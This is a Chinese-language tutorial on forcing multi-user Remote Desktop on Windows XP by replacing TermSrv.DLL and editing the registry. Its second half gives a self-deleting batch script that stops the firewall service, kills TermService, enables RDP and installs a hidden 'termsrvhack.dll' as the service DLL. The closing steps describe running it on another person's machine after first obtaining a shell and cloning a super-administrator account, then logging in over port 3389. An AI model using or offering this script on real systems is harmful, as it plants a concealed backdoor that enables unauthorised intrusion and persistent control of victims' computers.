第一步:首先是在Windows XP上安裝SP2正式版,按照常規方式安裝即可,這裡不再贅述。
第二步:准備一份版本較早的SP2終端服務器軟件(據說從Build 2082開始該功能就被禁止了,所以最好使用之前版本),中文SP2測試版較難找到,我用的是英文版Build 2055,運行之後沒有發現任何問題。你可以從http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" target="_blank">http://www.msfn.org/board/index.PHP?s=8 ... c99733154ae685f&act
=Attach&type=post&id=161513下載Build 2055的終端服務器執行文件TermSrv.DLL。從這個鏈接下載來的是一個擴展名為.DL_的文件,你可以把它的擴展名改成ZIP文件,然後用WinRAR解開它。
第三步:接下來,以安全模式啟動Windows XP,如果有多個操作系統,可以啟動另一個能訪問Windows XP系統分區的系統(除非安裝了第三方工具軟件,否則Windows 98不能訪問NTFS分區,因此Windows 98可能沒用)。然後,把Windows XP裡面SP2正式版的所有TermSrv.DLL備份一下,在所有TermSrv.DLL文件出現的位置,用Build 2055版本的TermSrv.DLL覆蓋。通常,TermSrv.DLL至少出現在二個位置,分別是:\Windows\system32,\Windows\system32\dllcache。凡是原來有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆蓋。 本文發表於http://bianceng.cn(學電腦)
第四步:以正常模式啟動Windows XP,如果系統的文件保護功能提示說TermSrv.DLL文件已被修改,並詢問是否要復原,選擇否。
第五步:最後還要修改一下注冊表,增加終端服務器的多用戶許可。鑒於修改注冊表比較麻煩而且容易出錯,你可以用下面的批命令修改注冊表:
@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWord /D 1 /f
endlocal
將上述內容保存為一個批命令文件,如AA.BAT,雙擊執行一下就可以了。
我不推薦這種做法 ,太煩鎖了,而且還要讓系統重起過。我們可以寫一個批處理文件使系統不用重起就實現XP多用戶登陸,首先我們先來了解一個對注冊表操作的命令參數:
REG ADD KeyName [/v ValueName /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略默認到當前機器。遠程機器上
只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM HKCU HKCR HKU HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名。
/v 所選項之下要添加的值名。
/ve 為注冊表項添加空白值名(默認)。
/t RegKey 數據類型
[ REG_SZ REG_MULTI_SZ REG_EXPAND_SZ
REG_DWord REG_BINARY REG_NONE ]
如果忽略,則采用 REG_SZ。
/s 指定一個在 REG_MULTI_SZ 數據字符串中用作分隔符的字符
如果忽略,則將 "\0" 用作分隔符。
/d 要分配給添加的注冊表 ValueName 的數據。
/f 不用提示就強行覆蓋現有注冊表項。
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一個值(名稱: Path,類型: REG_EXPAND_SZ,數據: %systemroot%)
注意: 在擴充字符串中使用插入符號 ( ^ )
為了讓系統不重起,我們可以用shutdown -a 這個命令。
根據上面找來的資料,我們可以編寫一個批處理,實現XP系統多用戶登陸而又不用重起系統。
代碼如下:
@echo off
@net stop sharedAccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWord /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWord /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\Windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\Windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\Windows\system32\termsrvhack.dll
@attrib +h +s +r c:\Windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat
其中“pid"是要替換成TermService服務的PID號,可以用命令tasklist/svc命令得到。當然win2000和以下系統是沒有tasklist命令的。
具體的操作方法是:先要得到對方的一個SHELL,然後在shell下用第三方軟件打開終端服務,先不要改變默認的3389端口,不然要重起後才登陸,再建一個或克隆一個超級管理員用戶。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然後在shell下運行此批處理。提示成功!
最後打開登陸器,3389終端登陸!